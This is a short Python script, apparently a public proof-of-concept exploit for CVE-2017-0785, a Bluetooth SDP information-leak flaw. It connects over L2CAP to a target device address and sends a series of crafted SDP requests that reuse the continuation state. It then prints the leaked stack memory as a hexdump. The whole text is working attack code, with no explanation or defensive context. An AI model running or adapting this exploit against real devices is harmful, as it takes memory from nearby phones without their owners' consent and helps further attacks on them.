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from pwn import *
import bluetooth
if not 'TARGET' in args:
log.info("Usage: CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX")
exit()
target = args['TARGET']
service_long = 0x0100
service_short = 0x0001
mtu = 50
n = 30
def packet(service, continuation_state):
pkt = '\x02\x00\x00'
pkt += p16(7 + len(continuation_state))
pkt += '\x35\x03\x19'
pkt += p16(service)
pkt += '\x01\x00'
pkt += continuation_state
return pkt
p = log.progress('Exploit')
p.status('Creating L2CAP socket')
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'
p.status('Connecting to target')
sock.connect((target, 1))
p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(mtu)
if data[-3] != '\x02':
log.error('Invalid continuation state received.')
stack = ''
for i in range(1, n):
p.status('Sending packet %d' % i)
sock.send(packet(service_short, data[-3:]))
data = sock.recv(mtu)
stack += data[9:-3]
sock.close()
p.success('Done')
print hexdump(stack)